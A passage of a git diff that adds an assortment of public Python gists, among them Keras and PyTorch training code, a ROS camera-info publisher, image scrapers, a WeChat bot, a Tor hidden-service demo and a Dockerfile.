+    """Train a simple single layer to learn the sum of three inputs.
+    Shuffle weights in a mock "cross-validation" loop instead of re-creating the model to save time.
+    """
+    np.random.seed(42)
+    model = Sequential((
+        Dense(input_dim=3, output_dim=1, activation='linear'),
+    ))
+    model.compile(loss='msle', optimizer='rmsprop')
+
+    X = np.random.random(size=(1000, 3))
+    y = np.sum(X, axis=1)
+
+    initial_weights = model.get_weights()
+    print('Initial weights:\n', initial_weights)
+
+    for rnd in xrange(3):
+        shuffle_weights(model, initial_weights)
+        print('\nRound {} starting weights:\n'.format(rnd), model.get_weights())
+        hist = model.fit(X, y, nb_epoch=50, verbose=0)
+        print('Learned weights:\n', model.get_weights(), '\nloss:', hist.history['loss'][-1])
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/._snippet.py b/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/._snippet.py differ
diff --git a/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/snippet.py b/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/snippet.py
new file mode 100644
index 00000000..9f57845d
--- /dev/null
+++ b/hard-gists/eba2bf1a0ecd3e541146e98f35d49739/snippet.py
@@ -0,0 +1,54 @@
+from sklearn.cross_validation import train_test_split
+from keras.preprocessing import sequence, text
+from keras.models import Sequential
+from keras.layers import (Dense, Dropout, Activation, Embedding, LSTM,
+                            Convolution1D, MaxPooling1D)
+
+# Embedding
+max_features = 20000
+maxlen = 100
+embedding_size = 32
+
+# Convolution
+filter_length = 5
+nb_filter = 64
+pool_length = 4
+
+# LSTM
+lstm_output_size = 100
+
+# Training
+batch_size = 100
+nb_epoch = 3
+
+X = [x[1] for x in labeled_sample]
+y = [x[0] for x in labeled_sample]
+
+tk = text.Tokenizer(nb_words=2000, filters=text.base_filter(), 
+                        lower=True, split=" ")
+tk.fit_on_texts(X)
+X = tk.texts_to_sequences(X)
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, 
+                                                    random_state=42)
+X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
+X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
+
+model = Sequential()
+model.add(Embedding(max_features, embedding_size, input_length=maxlen))
+model.add(Dropout(0.4))
+model.add(Convolution1D(nb_filter=nb_filter,
+                        filter_length=filter_length,
+                        border_mode='valid',
+                        activation='tanh',
+                        subsample_length=1))
+model.add(MaxPooling1D(pool_length=pool_length))
+model.add(LSTM(lstm_output_size))
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+
+model.compile(loss='binary_crossentropy',
+          optimizer='adam',
+          metrics=['accuracy'])
+
+model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=20,
+          validation_data=(X_test, y_test))
\ No newline at end of file
diff --git a/hard-gists/ebb282c3b73c41c1404123de6cea4771/._snippet.py b/hard-gists/ebb282c3b73c41c1404123de6cea4771/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ebb282c3b73c41c1404123de6cea4771/._snippet.py differ
diff --git a/hard-gists/ebb282c3b73c41c1404123de6cea4771/snippet.py b/hard-gists/ebb282c3b73c41c1404123de6cea4771/snippet.py
new file mode 100644
index 00000000..0ab12293
--- /dev/null
+++ b/hard-gists/ebb282c3b73c41c1404123de6cea4771/snippet.py
@@ -0,0 +1,69 @@
+"""
+pointgrey_camera_driver (at least the version installed with apt-get) doesn't
+properly handle camera info in indigo.
+This node is a work-around that will read in a camera calibration .yaml
+file (as created by the cameracalibrator.py in the camera_calibration pkg),
+convert it to a valid sensor_msgs/CameraInfo message, and publish it on a
+topic.
+
+The yaml parsing is courtesy ROS-user Stephan:
+    http://answers.ros.org/question/33929/camera-calibration-parser-in-python/
+
+This file just extends that parser into a rosnode.
+"""
+import rospy
+import yaml
+from sensor_msgs.msg import CameraInfo
+
+def yaml_to_CameraInfo(yaml_fname):
+    """
+    Parse a yaml file containing camera calibration data (as produced by 
+    rosrun camera_calibration cameracalibrator.py) into a 
+    sensor_msgs/CameraInfo msg.
+    
+    Parameters
+    ----------
+    yaml_fname : str
+        Path to yaml file containing camera calibration data
+
+    Returns
+    -------
+    camera_info_msg : sensor_msgs.msg.CameraInfo
+        A sensor_msgs.msg.CameraInfo message containing the camera calibration
+        data
+    """
+    # Load data from file
+    with open(yaml_fname, "r") as file_handle:
+        calib_data = yaml.load(file_handle)
+    # Parse
+    camera_info_msg = CameraInfo()
+    camera_info_msg.width = calib_data["image_width"]
+    camera_info_msg.height = calib_data["image_height"]
+    camera_info_msg.K = calib_data["camera_matrix"]["data"]
+    camera_info_msg.D = calib_data["distortion_coefficients"]["data"]
+    camera_info_msg.R = calib_data["rectification_matrix"]["data"]
+    camera_info_msg.P = calib_data["projection_matrix"]["data"]
+    camera_info_msg.distortion_model = calib_data["distortion_model"]
+    return camera_info_msg
+
+if __name__ == "__main__":
+    # Get fname from command line (cmd line input required)
+    import argparse
+    arg_parser = argparse.ArgumentParser()
+    arg_parser.add_argument("filename", help="Path to yaml file containing " +\
+                                             "camera calibration data")
+    args = arg_parser.parse_args()
+    filename = args.filename
+
+    # Parse yaml file
+    camera_info_msg = yaml_to_CameraInfo(filename)
+
+    # Initialize publisher node
+    rospy.init_node("camera_info_publisher", anonymous=True)
+    publisher = rospy.Publisher("camera_info", CameraInfo, queue_size=10)
+    rate = rospy.Rate(10)
+
+    # Run publisher
+    while not rospy.is_shutdown():
+        publisher.publish(camera_info_msg)
+        rate.sleep()
diff --git a/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/._snippet.py b/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/._snippet.py differ
diff --git a/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/snippet.py b/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/snippet.py
new file mode 100644
index 00000000..436e7580
--- /dev/null
+++ b/hard-gists/ec0dbce5688e6fcd2cb91ac1fb7d03ca/snippet.py
@@ -0,0 +1,56 @@
+#python
+import lx
+import lx.symbol as symbols
+
+# Save this into your MODO scripts directory.
+
+# Example usage:
+
+# Find symbols with value of enable
+# import symbolUtils as su
+# su.find('enable', printOut=True)
+
+# Find symbols with value containing enable
+# import symbolUtils as su
+# su.contains('enable', printOut=True)
+
+# Find symbols containing ENABLE
+# import symbolUtils as su
+# su.findSymbols('ENABLE', printOut=True)
+
+
+def find(value, ignoreCase=False, printOut=False, withlxsymbol=False):
+	res = []
+	if ignoreCase:
+		res = [x for x in dir(symbols) if value.lower() == getattr(symbols, x).lower()]
+	else:
+		res = [x for x in dir(symbols) if value == getattr(symbols, x)]
+	if printOut:
+		printList(res, withlxsymbol)
+	return res
+
+def contains(value, ignoreCase=False, printOut=False, withlxsymbol=False):
+	res = []
+	if ignoreCase:
+		res = [x for x in dir(symbols) if value.lower() in getattr(symbols, x).lower()]
+	else:
+		res = [x for x in dir(symbols) if value in getattr(symbols, x)]
+	if printOut:
+		printList(res, withlxsymbol)
+	return res
+
+def findSymbols(value, ignoreCase=False, printOut=False, withlxsymbol=False):
+	res = []
+	if ignoreCase:
+		res = [x for x in dir(symbols) if value.lower() in x.lower()]
+	else:
+		res = [x for x in dir(symbols) if value in x]
+	if printOut:
+		printList(res, withlxsymbol)
+	return res
+
+def printList(entries, withlxsymbol=False):
+	if withlxsymbol:
+		print '\nlx.symbol.'.join(entries)
+	else:
+		print '\n'.join(entries)
\ No newline at end of file
diff --git a/hard-gists/ec169727def8eb09b44fff84f93f1496/._snippet.py b/hard-gists/ec169727def8eb09b44fff84f93f1496/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec169727def8eb09b44fff84f93f1496/._snippet.py differ
diff --git a/hard-gists/ec169727def8eb09b44fff84f93f1496/snippet.py b/hard-gists/ec169727def8eb09b44fff84f93f1496/snippet.py
new file mode 100644
index 00000000..97dc005c
--- /dev/null
+++ b/hard-gists/ec169727def8eb09b44fff84f93f1496/snippet.py
@@ -0,0 +1,39 @@
+import gremlin
+import logging
+
+left_t16000m = gremlin.input_devices.JoystickDecorator(
+    name="T.16000M",
+    device_id=1325664945,
+    mode="Default"
+)
+
+
+@left_t16000m.hat(1)
+def hat_management(event, vjoy):
+    if event.value == (0, 1):
+        vjoy[1].button[1].is_pressed = True
+        vjoy[1].button[2].is_pressed = False
+        vjoy[1].button[3].is_pressed = False
+        vjoy[1].button[4].is_pressed = False
+        gremlin.util.display_error("Error popup")
+    elif event.value == (1, 0):
+        vjoy[1].button[1].is_pressed = False
+        vjoy[1].button[2].is_pressed = True
+        vjoy[1].button[3].is_pressed = False
+        vjoy[1].button[4].is_pressed = False
+        logging.debug("Log message")
+    elif event.value == (0, -1):
+        vjoy[1].button[1].is_pressed = False
+        vjoy[1].button[2].is_pressed = False
+        vjoy[1].button[3].is_pressed = True
+        vjoy[1].button[4].is_pressed = False
+    elif event.value == (-1, 0):
+        vjoy[1].button[1].is_pressed = False
+        vjoy[1].button[2].is_pressed = False
+        vjoy[1].button[3].is_pressed = False
+        vjoy[1].button[4].is_pressed = True
+    elif event.value == (0, 0):
+        vjoy[1].button[1].is_pressed = False
+        vjoy[1].button[2].is_pressed = False
+        vjoy[1].button[3].is_pressed = False
+        vjoy[1].button[4].is_pressed = False
\ No newline at end of file
diff --git a/hard-gists/ec3adc02d927375f13d0/._snippet.py b/hard-gists/ec3adc02d927375f13d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec3adc02d927375f13d0/._snippet.py differ
diff --git a/hard-gists/ec3adc02d927375f13d0/snippet.py b/hard-gists/ec3adc02d927375f13d0/snippet.py
new file mode 100644
index 00000000..162a4676
--- /dev/null
+++ b/hard-gists/ec3adc02d927375f13d0/snippet.py
@@ -0,0 +1,17 @@
+"""Order a queryset by last_active and make null values sort last."""
+
+import datetime
+
+from django.db.models.functions import Coalesce
+
+from app import models
+
+
+# Coalesce works by taking the first non-null value.  So we give it
+# a date far before any non-null values of last_active.  Then it will
+# naturally sort behind instances of Box with a non-null last_active value.
+# docs.djangoproject.com/en/1.8/ref/models/database-functions/#coalesce
+the_past = datetime.datetime.now() - datetime.timedelta(days=10*365)
+boxes = models.Box.objects.all().annotate(
+    new_last_active=Coalesce('last_active', Value(the_past))).order_by(
+        '-new_last_active')
\ No newline at end of file
diff --git a/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/._snippet.py b/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/._snippet.py differ
diff --git a/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/snippet.py b/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/snippet.py
new file mode 100644
index 00000000..89600d8a
--- /dev/null
+++ b/hard-gists/ec5c8bed17396e8e55cf3305dbb88f56/snippet.py
@@ -0,0 +1,23 @@
+import requests
+import time
+from selenium import webdriver
+from PIL import Image
+from io import BytesIO
+
+url = "https://unsplash.com"
+
+driver = webdriver.Firefox(executable_path=r'geckodriver.exe')
+driver.get(url)
+
+driver.execute_script("window.scrollTo(0,1000);")
+time.sleep(5)
+image_elements = driver.find_elements_by_css_selector("#gridMulti img")
+i = 0
+
+for image_element in image_elements:
+    image_url = image_element.get_attribute("src")
+    # Send an HTTP GET request, get and save the image from the response
+    image_object = requests.get(image_url)
+    image = Image.open(BytesIO(image_object.content))
+    image.save("./images/image" + str(i) + "." + image.format, image.format)
+    i += 1
\ No newline at end of file
diff --git a/hard-gists/ec88cbdce3cdbac7b8d5/._snippet.py b/hard-gists/ec88cbdce3cdbac7b8d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec88cbdce3cdbac7b8d5/._snippet.py differ
diff --git a/hard-gists/ec88cbdce3cdbac7b8d5/snippet.py b/hard-gists/ec88cbdce3cdbac7b8d5/snippet.py
new file mode 100644
index 00000000..bcbbe8c5
--- /dev/null
+++ b/hard-gists/ec88cbdce3cdbac7b8d5/snippet.py
@@ -0,0 +1,25 @@
+# -*- coding: utf-8 -*-
+#test on python 3.4 ,python of lower version  has different module organization.
+import http.server
+from http.server import HTTPServer, BaseHTTPRequestHandler
+import socketserver
+
+PORT = 8080
+
+Handler = http.server.SimpleHTTPRequestHandler
+
+Handler.extensions_map={
+        '.manifest': 'text/cache-manifest',
+	'.html': 'text/html',
+        '.png': 'image/png',
+	'.jpg': 'image/jpg',
+	'.svg':	'image/svg+xml',
+	'.css':	'text/css',
+	'.js':	'application/x-javascript',
+	'': 'application/octet-stream', # Default
+    }
+
+httpd = socketserver.TCPServer(("", PORT), Handler)
+
+print("serving at port", PORT)
+httpd.serve_forever()
diff --git a/hard-gists/ec8ddab12364323c97d4e36459174f0d/._snippet.py b/hard-gists/ec8ddab12364323c97d4e36459174f0d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec8ddab12364323c97d4e36459174f0d/._snippet.py differ
diff --git a/hard-gists/ec8ddab12364323c97d4e36459174f0d/snippet.py b/hard-gists/ec8ddab12364323c97d4e36459174f0d/snippet.py
new file mode 100644
index 00000000..f94ef022
--- /dev/null
+++ b/hard-gists/ec8ddab12364323c97d4e36459174f0d/snippet.py
@@ -0,0 +1,50 @@
+#coding=utf8
+import itchat
+# tuling plugin can be get here:
+# https://github.com/littlecodersh/EasierLife/tree/master/Plugins/Tuling
+from tuling import get_response
+
+@itchat.msg_register('Text')
+def text_reply(msg):
+    if u'作者' in msg['Text'] or u'主人' in msg['Text']:
+        return u'你可以在这里了解他：https://github.com/littlecodersh'
+    elif u'源代码' in msg['Text'] or u'获取文件' in msg['Text']:
+        itchat.send('@fil@main.py', msg['FromUserName'])
+        return u'这就是现在机器人后台的代码，是不是很简单呢？'
+    elif u'获取图片' in msg['Text']:
+        itchat.send('@img@applaud.gif', msg['FromUserName']) # there should be a picture
+    else:
+        return get_response(msg['Text']) or u'收到：' + msg['Text']
+
+@itchat.msg_register(['Picture', 'Recording', 'Attachment', 'Video'])
+def atta_reply(msg):
+    return ({ 'Picture': u'图片', 'Recording': u'录音',
+        'Attachment': u'附件', 'Video': u'视频', }.get(msg['Type']) +
+        u'已下载到本地') # download function is: msg['Text'](msg['FileName'])
+
+@itchat.msg_register(['Map', 'Card', 'Note', 'Sharing'])
+def mm_reply(msg):
+    if msg['Type'] == 'Map':
+        return u'收到位置分享'
+    elif msg['Type'] == 'Sharing':
+        return u'收到分享' + msg['Text']
+    elif msg['Type'] == 'Note':
+        return u'收到：' + msg['Text']
+    elif msg['Type'] == 'Card':
+        return u'收到好友信息：' + msg['Text']['Alias']
+
+@itchat.msg_register('Text', isGroupChat = True)
+def group_reply(msg):
+    if msg['isAt']:
+        return u'@%s\u2005%s' % (msg['ActualNickName'],
+            get_response(msg['Text']) or u'收到：' + msg['Text'])
+
+@itchat.msg_register('Friends')
+def add_friend(msg):
+    itchat.add_friend(**msg['Text'])
+    itchat.send_msg(u'项目主页：github.com/littlecodersh/ItChat\n'
+        + u'源代码  ：回复源代码\n' + u'图片获取：回复获取图片\n'
+        + u'欢迎Star我的项目关注更新！', msg['RecommendInfo']['UserName'])
+
+itchat.auto_login(True, enableCmdQR=True)
+itchat.run()
\ No newline at end of file
diff --git a/hard-gists/ec8f1689bfde3ce9a920/._snippet.py b/hard-gists/ec8f1689bfde3ce9a920/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec8f1689bfde3ce9a920/._snippet.py differ
diff --git a/hard-gists/ec8f1689bfde3ce9a920/snippet.py b/hard-gists/ec8f1689bfde3ce9a920/snippet.py
new file mode 100644
index 00000000..56c522ce
--- /dev/null
+++ b/hard-gists/ec8f1689bfde3ce9a920/snippet.py
@@ -0,0 +1,71 @@
+import sys, threading, time
+from stem.control import Controller
+from stem import SocketError, UnsatisfiableRequest
+import stem.process
+from stem.util import term
+from flask import Flask
+
+import socks
+
+WEB_PORT = 8080
+CONTROL_PORT = 7001
+SOCKS_PORT = 7000
+HIDDEN_SERVICE_DIR = '/tmp/tor/'
+
+
+app = Flask(__name__)
+
+@app.route('/')
+def index():
+    return "hello world"
+
+def start_web_app():
+    print 'Starting web app'
+    app.run(port=WEB_PORT, threaded=True)
+
+def print_bootstrap_lines(line):
+    if "Bootstrapped " in line:
+        print(term.format(line, term.Color.BLUE))
+
+def main():
+    print(term.format("Starting Tor:\n", term.Attr.BOLD))
+
+    tor_process = stem.process.launch_tor_with_config(
+      config = {
+        'SocksPort': str(SOCKS_PORT),
+        'ControlPort': str(CONTROL_PORT),
+        'ExitNodes': '{ru}',
+      },
+      init_msg_handler = print_bootstrap_lines,
+    )
+
+    # Start the flask web app in a separate thread
+    t = threading.Thread(target=start_web_app)
+    t.daemon = True
+    t.start()
+
+    # Connect to the Tor control port
+    try:
+        c = Controller.from_port(port=CONTROL_PORT)
+        c.authenticate()
+    except SocketError:
+        print 'Cannot connect to Tor control port'
+        sys.exit()
+
+    # Create an ephemeral hidden service
+    try:
+        print 'Creating hidden service'
+        result = c.create_hidden_service(HIDDEN_SERVICE_DIR, 80, target_port=8080)
+        print " * Created host: %s" % result.hostname
+        onion = result.hostname
+    except UnsatisfiableRequest:
+        print 'Cannot create ephemeral hidden service, Tor version is too old'
+        sys.exit()
+    except Exception, e:
+        print e
+        sys.exit()
+
+
+    t.join()
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/ec9c9074373d2443594a/._snippet.py b/hard-gists/ec9c9074373d2443594a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ec9c9074373d2443594a/._snippet.py differ
diff --git a/hard-gists/ec9c9074373d2443594a/snippet.py b/hard-gists/ec9c9074373d2443594a/snippet.py
new file mode 100644
index 00000000..8fe5fd93
--- /dev/null
+++ b/hard-gists/ec9c9074373d2443594a/snippet.py
@@ -0,0 +1,135 @@
+'''
+Extract Features from a pre-trained caffe CNN Layer
+based on https://github.com/karpathy/neuraltalk/blob/master/python_features/extract_features.py
+'''
+import sys
+import os.path
+import argparse
+
+import numpy as np
+from scipy.misc import imread, imresize
+import scipy.io
+
+import cPickle as pickle
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--caffe',
+					help='path to caffe installation')
+parser.add_argument('--model_def',
+					help='path to model definition prototxt')
+parser.add_argument('--model',
+					help='path to model parameters')
+parser.add_argument('--files',
+					help='path to a file contsining a list of images')
+parser.add_argument('--gpu',
+					action='store_true',
+					help='whether to use gpu training')
+parser.add_argument('--layer',help='which layer to extract features e.g conv5_3')
+parser.add_argument('--out',help='name of the pickle file where to store the features')
+
+args = parser.parse_args()
+
+if args.caffe:
+	caffepath = args.caffe + '/python'
+	sys.path.append(caffepath)
+
+import caffe
+
+def predict(in_data, net):
+	"""
+	Get the features for a batch of data using network
+
+	Inputs:
+	in_data: data batch
+	"""
+
+	out = net.forward(**{net.inputs[0]: in_data})
+	out_pool = net.forward(data =  in_data, end = args.layer)
+
+	features = out_pool[args.layer]
+	return features
+
+
+def batch_predict(filenames, net):
+	"""
+	Get the features for all images from filenames using a network
+
+	Inputs:
+	filenames: a list of names of image files
+
+	Returns:
+	an array of feature vectors for the images in that file
+	"""
+
+	N, C, H, W = net.blobs[net.inputs[0]].data.shape
+	Nf = len(filenames)
+	Hi, Wi, _ = imread(filenames[0]).shape
+	F = net.blobs[args.layer].data.shape
+
+	allftrs = np.zeros((Nf,) + F[1:])
+
+	for i in range(0, Nf, N):
+		in_data = np.zeros((N, C, H, W), dtype=np.float32)
+
+		batch_range = range(i, min(i+N, Nf))
+		batch_filenames = [filenames[j] for j in batch_range]
+		Nb = len(batch_range)
+
+		batch_images = np.zeros((Nb, 3, H, W))
+		for j,fname in enumerate(batch_filenames):
+			im = imread(fname)
+			if len(im.shape) == 2:
+				im = np.tile(im[:,:,np.newaxis], (1,1,3))
+			# RGB -> BGR
+			im = im[:,:,(2,1,0)]
+			# mean subtraction
+			im = im - np.array([103.939, 116.779, 123.68])
+			# resize
+			im = imresize(im, (H, W), 'bicubic')
+			# get channel in correct dimension
+			im = np.transpose(im, (2, 0, 1))
+			batch_images[j,:,:,:] = im
+
+		# insert into correct place
+		in_data[0:len(batch_range), :, :, :] = batch_images
+
+		# predict features
+		ftrs = predict(in_data, net)
+		for j in range(len(batch_range)):
+			allftrs[i+j,:] = ftrs[j,:]
+
+		print 'Done %d/%d files' % (i+len(batch_range), len(filenames))
+
+	return allftrs
+
+if args.gpu:
+	caffe.set_mode_gpu()
+else:
+	caffe.set_mode_cpu()
+
+net = caffe.Net(args.model_def, args.model, caffe.TEST)
+
+print 'list of all blobs and their shapes:'
+for blob in net.blobs:
+	print blob,':',net.blobs[blob].data.shape
+
+filenames = []
+
+base_dir = os.path.dirname(args.files)
+with open(args.files) as fp:
+	for line in fp:
+		filename = os.path.join(base_dir, line.strip().split()[0])
+		filenames.append(filename)
+
+allftrs = batch_predict(filenames, net)
+
+pkl_output = {}
+pkl_output['filenames'] = filenames
+pkl_output['features'] = allftrs
+
+if args.out:
+	# store the features in a pickle file
+	with open(args.out, 'w') as fp:
+		pickle.dump(pkl_output, fp)
+
+#scipy.io.savemat(os.path.join(base_dir, args.out+'.vgg_feats.mat'), mdict =  {'features': np.transpose(allftrs), 'filenames' : filenames})
diff --git a/hard-gists/eca49daaae6d4566383b39908bfc3fd0/._snippet.py b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/._snippet.py differ
diff --git a/hard-gists/eca49daaae6d4566383b39908bfc3fd0/Dockerfile-llm-3.8 b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/Dockerfile-llm-3.8
new file mode 100644
index 00000000..6a3ea41b
--- /dev/null
+++ b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","requests==2.32.4"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/eca49daaae6d4566383b39908bfc3fd0/modules/requests_3.8.txt b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/modules/requests_3.8.txt
new file mode 100644
index 00000000..c92fe7dc
--- /dev/null
+++ b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/modules/requests_3.8.txt
@@ -0,0 +1 @@
+0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.6, 0.10.7, 0.10.8, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.8.0, 2.12.0, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.14.0, 2.14.1, 2.14.2, 2.15.1, 2.16.0, 2.16.1, 2.16.2, 2.16.3, 2.16.4, 2.16.5, 2.17.0, 2.17.1, 2.17.2, 2.17.3, 2.18.0, 2.18.1, 2.18.2, 2.18.3, 2.18.4, 2.19.0, 2.19.1, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.26.0, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.2, 2.32.3, 2.32.4, 2.32.5, 2.33.0, 2.33.1
\ No newline at end of file
diff --git a/hard-gists/eca49daaae6d4566383b39908bfc3fd0/snippet.py b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/snippet.py
new file mode 100644
index 00000000..27717645
--- /dev/null
+++ b/hard-gists/eca49daaae6d4566383b39908bfc3fd0/snippet.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+from threading import Thread
+from urllib.parse import unquote
+from pathlib import Path
+from queue import Queue
+import requests
+import os.path
+import sys
+import re
+
+
+INDEX_PAGE = 'http://rule34.paheal.net/post/list/%s/%d'
+RE_IMG_URL = r'href=\"(.*)\"\>Image Only'
+RE_TOTAL_PAGES = r'\/(\d+)\"\>Last\<\/a\>'
+RE_BAD_FILENAME = r'[^\w\s\-\.\~\!\@\#\$\%\^\(\)\+\=\']'
+
+DOWNLOAD_THREAD = 10
+
+def fetch_total_pages(kw):
+    resp = requests.get(INDEX_PAGE % (kw, 1))
+    match = re.search(RE_TOTAL_PAGES, resp.text)
+    if match is None:
+        # No <a>Last</a> tag if only 1 page.
+        return 1
+    return int(match.group(1))
+
+
+def fetch_urls(kw, page_from, page_to):
+    for i in range(page_from, page_to + 1):
+        resp = requests.get(INDEX_PAGE % (kw, i))
+        urls = re.findall(RE_IMG_URL, resp.text)
+        print('%s images are found in page %s.' % (len(urls), i))
+        for url in urls:
+            yield url
+
+
+def download(queue, path, tid):
+    while True:
+        url = queue.get()
+        if url is None:
+            break
+        fname = unquote(url).split('/')[-1]
+        fname = re.sub(RE_BAD_FILENAME, ' ', fname).strip()
+        save_to = path / fname
+        if save_to.exists():
+            continue
+        print('#%02d Downloading %s...' % (tid, fname))
+        resp = requests.get(url)
+        with save_to.open('wb') as f:
+            f.write(resp.content)
+        queue.task_done()
+    print('#%02d exited.' % tid)
+
+
+def main():
+    if not 2 <= len(sys.argv) <= 3:
+        print('Download all images from rule34.paheal.net, ignore existing '
+              'files.\n')
+        print('Usage: %s <keyword> [threads-num]' % sys.argv[0])
+        sys.exit(1)
+    kw = sys.argv[1]
+    if len(sys.argv) >= 3:
+        thread_num = int(sys.argv[2])
+    else:
+        thread_num = DOWNLOAD_THREAD
+    
+    path = Path(kw)
+    if not path.exists():
+        path.mkdir()
+    elif not path.is_dir():
+        print('Cannot wirte to %s, file exists.' % path)
+
+    print('Fetching the number of pages...')
+    pages = fetch_total_pages(kw)
+    print('%s page(s) in total.' % pages)
+
+    queue = Queue(thread_num * 20)
+    threads = []
+    for i in range(thread_num):
+        t = Thread(target=download, args=(queue, path, i))
+        t.start()
+        threads.append(t)
+    print('%s threads are ready.' % len(threads))
+
+    for url in fetch_urls(kw, 1, pages):
+        queue.put(url)
+
+    for i in range(len(threads)):
+        queue.put(None)
+    for t in threads:
+        t.join()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/ed9631f151710c6bd898499fcf938425/._snippet.py b/hard-gists/ed9631f151710c6bd898499fcf938425/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ed9631f151710c6bd898499fcf938425/._snippet.py differ
diff --git a/hard-gists/ed9631f151710c6bd898499fcf938425/snippet.py b/hard-gists/ed9631f151710c6bd898499fcf938425/snippet.py
new file mode 100644
index 00000000..88775c38
--- /dev/null
+++ b/hard-gists/ed9631f151710c6bd898499fcf938425/snippet.py
@@ -0,0 +1,138 @@
+import numpy as np
+from sklearn.model_selection import train_test_split
+
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+
+np.random.seed(1337)
+
+MAX_LEN = 30
+EMBEDDING_SIZE = 64
+BATCH_SIZE = 32
+EPOCH = 40
+DATA_SIZE = 1000
+INPUT_SIZE = 300
+
+def batch(tensor, batch_size):
+	tensor_list = []
+	length = tensor.shape[0]
+	i = 0
+	while True:
+		if (i+1) * batch_size >= length:
+			tensor_list.append(tensor[i * batch_size: length])
+			return tensor_list
+		tensor_list.append(tensor[i * batch_size: (i+1) * batch_size])
+		i += 1
+
+class Estimator(object):
+
+	def __init__(self, model):
+		self.model = model
+
+	def compile(self, optimizer, loss):
+		self.optimizer = optimizer
+		self.loss_f = loss
+
+	def _fit(self, X_list, y_list):
+		"""
+		train one epoch
+		"""
+		loss_list = []
+		acc_list = []
+		for X, y in zip(X_list, y_list):
+			X_v = Variable(torch.from_numpy(np.swapaxes(X,0,1)).float())
+			y_v = Variable(torch.from_numpy(y).long(), requires_grad=False)
+
+			self.optimizer.zero_grad()
+			y_pred = self.model(X_v, self.model.initHidden(X_v.size()[1]))
+			loss = self.loss_f(y_pred, y_v)
+			loss.backward()
+			self.optimizer.step()
+
+			## for log
+			loss_list.append(loss.data[0])
+			classes = torch.topk(y_pred, 1)[1].data.numpy().flatten()
+			acc = self._accuracy(classes, y)
+			acc_list.append(acc)
+
+		return sum(loss_list) / len(loss_list), sum(acc_list) / len(acc_list)
+
+	def fit(self, X, y, batch_size=32, nb_epoch=10, validation_data=()):
+		X_list = batch(X, batch_size)
+		y_list = batch(y, batch_size)
+
+		for t in range(1, nb_epoch + 1):
+			loss, acc = self._fit(X_list, y_list)
+			val_log = ''
+			if validation_data:
+				val_loss, val_acc = self.evaluate(validation_data[0], validation_data[1], batch_size)
+				val_log = "- val_loss: %06.4f - val_acc: %06.4f" % (val_loss, val_acc)
+			print("Epoch %s/%s loss: %06.4f - acc: %06.4f %s" % (t, nb_epoch, loss, acc, val_log))
+
+	def evaluate(self, X, y, batch_size=32):
+		y_pred = self.predict(X)
+
